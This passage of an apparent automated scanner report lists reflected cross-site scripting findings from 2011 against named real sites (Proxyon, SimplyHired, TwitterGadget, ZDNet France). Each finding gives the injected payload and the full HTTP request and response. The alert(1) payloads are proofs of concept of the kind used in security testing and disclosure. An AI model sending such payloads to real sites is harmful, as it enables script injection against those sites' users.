<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<p>We're sorry! This page ("reorganizing_system_structures1dcea<a>c9255b06849") is not available. Please visit the <a href='home'>
...[SNIP]...

1.580. http://www.proxyon.com/solutions/reorganizing_system_structures [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/solutions/reorganizing_system_structures

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a9ad"><script>alert(1)</script>c725e7a0cc2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solutions/reorganizing_system_structures?3a9ad"><script>alert(1)</script>c725e7a0cc2=1 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:51 GMT
Content-Type: text/html
Content-Length: 10088

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/solutions/reorganizing_system_structures?3a9ad"><script>alert(1)</script>c725e7a0cc2=1" method="post">
...[SNIP]...

1.581. http://www.simplyhired.com/a/accounts/login [f parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The value of the f request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 740ea"style%3d"x%3aexpression(alert(1))"52532b6760f was submitted in the f parameter. This input was echoed as 740ea"style="x:expression(alert(1))"52532b6760f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/accounts/login?f=%2Fa%2Fjobs%2Flist%2Fq-xss740ea"style%3d"x%3aexpression(alert(1))"52532b6760f HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/a/jobs/list/q-xss
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; __qca=P0-672047654-1316482567293; sess=ct%3D4e77a776%3Bv%3D2; rs=v2:q%3Dxss; shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464506%2Cuanps%3D9%3A1%3A0%3A0; shup=fvt%3D4e77a776%26ncs%3D1%26lst%3D4e77a77a; ki_u=c67c90d5-c311-e524-6ee5-2e6f5c4c3924; ki_t=1316482574458%3B1316482574458%3B1316482574458%3B1%3B1; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.3.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a799%3Bv%3D6.2912827354899E%2B19; path=/; domain=.simplyhired.com
Set-Cookie: shua=deleted; expires=Sun, 19-Sep-2010 20:35:41 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:41 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:41 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 4132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Login |
...[SNIP]...
<input type="hidden" name="f" value="/a/jobs/list/q-xss740ea"style="x:expression(alert(1))"52532b6760f" />
...[SNIP]...

1.582. http://www.simplyhired.com/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5 [partner parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5

Issue detail

The value of the partner request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efb00"style%3d"x%3aexpression(alert(1))"7e75eb0916b was submitted in the partner parameter. This input was echoed as efb00"style="x:expression(alert(1))"7e75eb0916b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cioefb00"style%3d"x%3aexpression(alert(1))"7e75eb0916b&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.css&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1316477965.2; __utmz=270297075.1316477965.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmb=270297075.2.10.1316477965; __utmc=270297075

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:32:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 8428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<body id="sh_job_widget" class="cioefb00"style="x:expression(alert(1))"7e75eb0916b">
...[SNIP]...

1.583. http://www.simplyhired.com/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5 [stylesheet parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5

Issue detail

The value of the stylesheet request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f163"style%3d"x%3aexpression(alert(1))"cc02d87513a was submitted in the stylesheet parameter. This input was echoed as 1f163"style="x:expression(alert(1))"cc02d87513a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cio&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.css1f163"style%3d"x%3aexpression(alert(1))"cc02d87513a&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1316477965.2; __utmz=270297075.1316477965.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmb=270297075.2.10.1316477965; __utmc=270297075

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:32:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 7500

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://www.cio.com/documents/simply-hired-homepage.css1f163"style="x:expression(alert(1))"cc02d87513a" />
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-onet%3A(15-1)%20OR%20onet%3A(17-2)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5

Issue detail

The value of the partner request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20490"style%3d"x%3aexpression(alert(1))"4abf34cd872 was submitted in the partner parameter. This input was echoed as 20490"style="x:expression(alert(1))"4abf34cd872 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5?partner=computerworld20490"style%3d"x%3aexpression(alert(1))"4abf34cd872&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-homepage.css%3F20100409&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1316477965.2; __utmz=270297075.1316477965.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmb=270297075.3.10.1316477965; __utmc=270297075

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:34:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 8105

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<body id="sh_job_widget" class="computerworld20490"style="x:expression(alert(1))"4abf34cd872">
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-onet%3A(15-1)%20OR%20onet%3A(17-2)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5

Issue detail

The value of the stylesheet request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 482d5"style%3d"x%3aexpression(alert(1))"748020468e9 was submitted in the stylesheet parameter. This input was echoed as 482d5"style="x:expression(alert(1))"748020468e9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5?partner=computerworld&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-homepage.css%3F20100409482d5"style%3d"x%3aexpression(alert(1))"748020468e9&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1316477965.2; __utmz=270297075.1316477965.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __utmb=270297075.3.10.1316477965; __utmc=270297075

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:34:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 6901

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://www.computerworld.com/resources/simply-hired-homepage.css?20100409482d5"style="x:expression(alert(1))"748020468e9" />
...[SNIP]...

1.586. http://www.simplyhired.com/a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5 [partner parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5

Issue detail

The value of the partner request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9028f"style%3d"x%3aexpression(alert(1))"28156688be4 was submitted in the partner parameter. This input was echoed as 9028f"style="x:expression(alert(1))"28156688be4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5?partner=itworld9028f"style%3d"x%3aexpression(alert(1))"28156688be4&color_title=%23FE4E00&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1
Host: www.simplyhired.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: __utma=270297075.68763.1312579735.1312579735.1312579735.1; __utmz=270297075.1312579735.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 19:26:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 8074

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<body id="sh_job_widget" class="itworld9028f"style="x:expression(alert(1))"28156688be4">
...[SNIP]...

1.587. http://www.simplyhired.com/a/jobs/list/q-xss [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/jobs/list/q-xss

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce6d5"><img%20src%3da%20onerror%3dalert(1)>385570a8e3e was submitted in the REST URL parameter 4. This input was echoed as ce6d5"><img src=a onerror=alert(1)>385570a8e3e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /a/jobs/list/ce6d5"><img%20src%3da%20onerror%3dalert(1)>385570a8e3e HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sess=ct%3D4e77a776%3Bv%3D1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; shup=fvt%3D4e77a776; __qca=P0-672047654-1316482567293; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.1.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); shua=uafbp%3D8

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: sess=ct%3D4e77a776%3Bv%3D1.1770777140893E%2B20; path=/; domain=.simplyhired.com
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:24 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:24 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 9192

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Jobs | S
...[SNIP]...
<iframe width="1" height="1" frameborder="0" src="/a/error/ping?ec=empty-inputs&app=jobs&act=list&ce6d5"><img src=a onerror=alert(1)>385570a8e3e=">
...[SNIP]...

1.588. https://www.twittergadget.com/gadget.asp [scrm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/gadget.asp

Issue detail

The value of the scrm request parameter is copied into an HTML comment. The payload f3f70--><script>alert(1)</script>d822e6fbde5 was submitted in the scrm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /gadget.asp?scrm=YKGRdjBzcFNf3f70--><script>alert(1)</script>d822e6fbde5 HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:06 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 2985
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META Http-Equiv="Pragma" Content="no-cache">
<title>TwitterGadget: Twitter Client</title>
<style type="text/css">
<script>alert(1)</script>d822e6fbde5">
...[SNIP]...

1.589. http://www.zdnet.fr/css/hp.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/css/hp.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25737"><script>alert(1)</script>d1462cd777e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /css25737"><script>alert(1)</script>d1462cd777e/hp.css?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21473

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/css25737"><script>alert(1)</script>d1462cd777e;s1=css25737">
...[SNIP]...

1.590. http://www.zdnet.fr/css/style-print.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/css/style-print.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 898c0"><script>alert(1)</script>9dd6c5d32ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /css898c0"><script>alert(1)</script>9dd6c5d32ac/style-print.css?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21491

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/css898c0"><script>alert(1)</script>9dd6c5d32ac;s1=css898c0">
...[SNIP]...

1.591. http://www.zdnet.fr/css/style-screen.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/css/style-screen.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42eae"><script>alert(1)</script>24d34fadddb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /css42eae"><script>alert(1)</script>24d34fadddb/style-screen.css?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:50 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21493

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
